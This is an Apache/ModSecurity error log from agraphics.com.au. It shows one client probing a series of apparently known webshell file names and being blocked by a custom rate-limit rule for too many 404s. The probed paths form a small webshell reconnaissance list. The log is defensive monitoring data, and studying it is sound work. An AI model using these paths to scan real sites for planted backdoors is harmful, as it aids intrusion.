[Tue May 26 22:35:24.394227 2026] [:error] [pid 36497:tid 36511] [client 20.63.34.22:13720] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ahWvrLjKQWM1gBmBY4hIpAAAAME"]
[Tue May 26 22:35:24.819224 2026] [:error] [pid 33888:tid 33956] [client 20.63.34.22:13724] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ahWvrDqzTeoxiinZsGEvQQAAAQo"]
[Tue May 26 22:35:25.243473 2026] [:error] [pid 43701:tid 43722] [client 20.63.34.22:13942] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ahWvrYWtVI_UGrhtwKAfLwAAAVM"]
[Tue May 26 22:35:25.678527 2026] [:error] [pid 33888:tid 33948] [client 20.63.34.22:13632] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "ahWvrTqzTeoxiinZsGEvRQAAAQI"]
[Tue May 26 22:35:26.218434 2026] [:error] [pid 33887:tid 33934] [client 20.63.34.22:13719] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "ahWvrtCOI_FV7meOxGdY-QAAAI8"]
[Tue May 26 22:35:26.717791 2026] [:error] [pid 33977:tid 33996] [client 20.63.34.22:13898] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "ahWvru9cnSDNAU9sYPga8AAAABA"]
[Tue May 26 22:35:27.157830 2026] [:error] [pid 33977:tid 33984] [client 20.63.34.22:13933] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "ahWvr-9cnSDNAU9sYPga8QAAAAQ"]
[Tue May 26 22:35:27.654654 2026] [:error] [pid 33977:tid 33981] [client 20.63.34.22:13652] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "ahWvr-9cnSDNAU9sYPga8wAAAAE"]
[Tue May 26 22:35:28.101220 2026] [:error] [pid 36497:tid 36511] [client 20.63.34.22:13940] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "ahWvsLjKQWM1gBmBY4hIrQAAAME"]
[Tue May 26 22:35:28.675402 2026] [:error] [pid 36497:tid 36528] [client 20.63.34.22:13679] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "ahWvsLjKQWM1gBmBY4hIsgAAANI"]
[Tue May 26 22:35:29.544327 2026] [:error] [pid 33887:tid 33924] [client 20.63.34.22:13647] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "ahWvsdCOI_FV7meOxGdZBAAAAIU"]
[Tue May 26 22:35:30.460235 2026] [:error] [pid 36497:tid 36520] [client 20.63.34.22:13913] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ahWvsrjKQWM1gBmBY4hIuwAAAMo"]
[Tue May 26 22:35:31.126509 2026] [:error] [pid 36497:tid 36510] [client 20.63.34.22:13906] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ahWvs7jKQWM1gBmBY4hIvwAAAMA"]
[Tue May 26 22:35:31.613841 2026] [:error] [pid 33888:tid 33968] [client 20.63.34.22:13758] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ahWvszqzTeoxiinZsGEvSgAAARY"]
[Tue May 26 22:35:32.099613 2026] [:error] [pid 33977:tid 33984] [client 20.63.34.22:13919] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ahWvtO9cnSDNAU9sYPga-wAAAAQ"]
[Tue May 26 22:35:32.582552 2026] [:error] [pid 36497:tid 36521] [client 20.63.34.22:13668] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "ahWvtLjKQWM1gBmBY4hIxwAAAMs"]
[Tue May 26 22:35:33.079163 2026] [:error] [pid 43701:tid 43711] [client 20.63.34.22:13897] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "ahWvtYWtVI_UGrhtwKAfNQAAAUg"]
[Tue May 26 22:35:34.001885 2026] [:error] [pid 33977:tid 33989] [client 20.63.34.22:13734] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "ahWvtu9cnSDNAU9sYPgbBQAAAAk"]
[Tue May 26 22:35:34.619998 2026] [:error] [pid 33888:tid 33959] [client 20.63.34.22:13935] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "ahWvtjqzTeoxiinZsGEvTAAAAQ0"]
[Tue May 26 22:35:35.087758 2026] [:error] [pid 33887:tid 33942] [client 20.63.34.22:13944] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "ahWvt9COI_FV7meOxGdZCQAAAJc"]
[Tue May 26 22:35:35.637214 2026] [:error] [pid 33886:tid 33903] [client 20.63.34.22:13749] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "ahWvt7BYzgp5rPVdHcW_7gAAAEw"]
[Tue May 26 22:35:36.424123 2026] [:error] [pid 33886:tid 33895] [client 20.63.34.22:13922] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "ahWvuLBYzgp5rPVdHcW_8AAAAEQ"]
[Tue May 26 22:35:37.395790 2026] [:error] [pid 43701:tid 43715] [client 20.63.34.22:13936] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "ahWvuYWtVI_UGrhtwKAfOwAAAUw"]
[Tue May 26 22:35:38.135054 2026] [:error] [pid 43701:tid 43710] [client 20.63.34.22:13645] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "ahWvuoWtVI_UGrhtwKAfPgAAAUc"]
[Tue May 26 22:35:39.159407 2026] [:error] [pid 33977:tid 33999] [client 20.63.34.22:13893] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "ahWvu-9cnSDNAU9sYPgbCQAAABM"]
[Tue May 26 22:35:40.110355 2026] [:error] [pid 36497:tid 36521] [client 20.63.34.22:13675] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "ahWvvLjKQWM1gBmBY4hIygAAAMs"]
[Tue May 26 22:35:41.176634 2026] [:error] [pid 36497:tid 36524] [client 20.63.34.22:13941] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "ahWvvbjKQWM1gBmBY4hI0AAAAM4"]
[Tue May 26 22:35:41.736338 2026] [:error] [pid 36497:tid 36520] [client 20.63.34.22:13700] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wefile.php"] [unique_id "ahWvvbjKQWM1gBmBY4hI0wAAAMo"]
[Tue May 26 22:35:42.298127 2026] [:error] [pid 36497:tid 36526] [client 20.63.34.22:13634] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wefile.php"] [unique_id "ahWvvrjKQWM1gBmBY4hI1QAAANA"]
[Tue May 26 22:35:42.972419 2026] [:error] [pid 43701:tid 43716] [client 20.63.34.22:13904] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wefile.php"] [unique_id "ahWvvoWtVI_UGrhtwKAfQwAAAU0"]
[Tue May 26 22:35:43.480289 2026] [:error] [pid 43701:tid 43709] [client 20.63.34.22:13753] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wefile.php"] [unique_id "ahWvv4WtVI_UGrhtwKAfRwAAAUY"]
[Tue May 26 22:35:44.336584 2026] [:error] [pid 33887:tid 33923] [client 20.63.34.22:13930] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "ahWvwNCOI_FV7meOxGdZGAAAAIQ"]
[Tue May 26 22:35:45.173566 2026] [:error] [pid 33887:tid 33938] [client 20.63.34.22:13726] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "ahWvwdCOI_FV7meOxGdZHAAAAJM"]
[Tue May 26 22:35:46.299456 2026] [:error] [pid 33977:tid 33997] [client 20.63.34.22:14295] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "ahWvwu9cnSDNAU9sYPgbDwAAABE"]
[Tue May 26 22:35:47.171772 2026] [:error] [pid 36497:tid 36529] [client 20.63.34.22:13718] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "ahWvw7jKQWM1gBmBY4hI4AAAANM"]
[Tue May 26 22:35:47.930983 2026] [:error] [pid 33977:tid 34004] [client 20.63.34.22:13713] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revealability.php"] [unique_id "ahWvw-9cnSDNAU9sYPgbEQAAABg"]
[Tue May 26 22:35:48.778743 2026] [:error] [pid 43701:tid 43727] [client 20.63.34.22:13931] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revealability.php"] [unique_id "ahWvxIWtVI_UGrhtwKAfSgAAAVg"]
[Tue May 26 22:35:50.347210 2026] [proxy_fcgi:error] [pid 33977:tid 33990] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:50.559903 2026] [proxy_fcgi:error] [pid 33977:tid 33988] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:50.776472 2026] [proxy_fcgi:error] [pid 33977:tid 33996] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:50.988423 2026] [proxy_fcgi:error] [pid 33977:tid 34003] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:51.350845 2026] [proxy_fcgi:error] [pid 33977:tid 34002] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:51.575146 2026] [proxy_fcgi:error] [pid 33977:tid 33989] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:52.009801 2026] [proxy_fcgi:error] [pid 33977:tid 33987] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:52.222790 2026] [proxy_fcgi:error] [pid 33977:tid 33997] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:52.626821 2026] [proxy_fcgi:error] [pid 33977:tid 34001] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:53.573574 2026] [proxy_fcgi:error] [pid 33977:tid 33980] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:53.960618 2026] [proxy_fcgi:error] [pid 33977:tid 34004] [client 20.63.34.22:13635] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:35:54.345607 2026] [:error] [pid 33977:tid 34000] [client 20.63.34.22:13635] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mass.php"] [unique_id "ahWvyu9cnSDNAU9sYPgbJQAAABQ"]
[Tue May 26 22:35:55.592636 2026] [:error] [pid 33977:tid 33990] [client 20.63.34.22:13923] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mass.php"] [unique_id "ahWvy-9cnSDNAU9sYPgbKQAAAAo"]
[Tue May 26 22:35:56.735192 2026] [:error] [pid 43701:tid 43725] [client 20.63.34.22:13740] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mass.php"] [unique_id "ahWvzIWtVI_UGrhtwKAfWwAAAVY"]
[Tue May 26 22:35:57.264328 2026] [:error] [pid 43701:tid 43723] [client 20.63.34.22:13697] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mass.php"] [unique_id "ahWvzYWtVI_UGrhtwKAfXgAAAVQ"]
[Tue May 26 22:35:57.932637 2026] [:error] [pid 36497:tid 36529] [client 20.63.34.22:14295] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "ahWvzbjKQWM1gBmBY4hJAAAAANM"]
[Tue May 26 22:35:58.465138 2026] [:error] [pid 33886:tid 33891] [client 20.63.34.22:13651] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "ahWvzrBYzgp5rPVdHcXAAwAAAEA"]
[Tue May 26 22:35:59.331326 2026] [:error] [pid 33977:tid 33997] [client 20.63.34.22:13737] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "ahWvz-9cnSDNAU9sYPgbLQAAABE"]
[Tue May 26 22:36:00.743523 2026] [:error] [pid 36497:tid 36520] [client 20.63.34.22:13694] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "ahWv0LjKQWM1gBmBY4hJCAAAAMo"]
[Tue May 26 22:36:01.727864 2026] [:error] [pid 43701:tid 43709] [client 20.63.34.22:13637] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ahWv0YWtVI_UGrhtwKAfZAAAAUY"]
[Tue May 26 22:36:02.694177 2026] [:error] [pid 33886:tid 33915] [client 20.63.34.22:13894] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ahWv0rBYzgp5rPVdHcXABwAAAFg"]
[Tue May 26 22:36:03.279070 2026] [:error] [pid 33888:tid 33953] [client 20.63.34.22:13759] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ahWv0zqzTeoxiinZsGEvbgAAAQc"]
[Tue May 26 22:36:03.898288 2026] [:error] [pid 43701:tid 43715] [client 20.63.34.22:13636] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ahWv04WtVI_UGrhtwKAfaQAAAUw"]
[Tue May 26 22:36:04.421341 2026] [:error] [pid 33888:tid 33950] [client 20.63.34.22:13721] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mifta.php"] [unique_id "ahWv1DqzTeoxiinZsGEvcwAAAQQ"]
[Tue May 26 22:36:05.203042 2026] [:error] [pid 33977:tid 34002] [client 20.63.34.22:13699] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mifta.php"] [unique_id "ahWv1e9cnSDNAU9sYPgbNwAAABY"]
[Tue May 26 22:36:05.721579 2026] [:error] [pid 36497:tid 36512] [client 20.63.34.22:14277] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mifta.php"] [unique_id "ahWv1bjKQWM1gBmBY4hJGAAAAMI"]
[Tue May 26 22:36:06.251579 2026] [:error] [pid 33887:tid 33926] [client 20.63.34.22:13732] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mifta.php"] [unique_id "ahWv1tCOI_FV7meOxGdZLwAAAIc"]
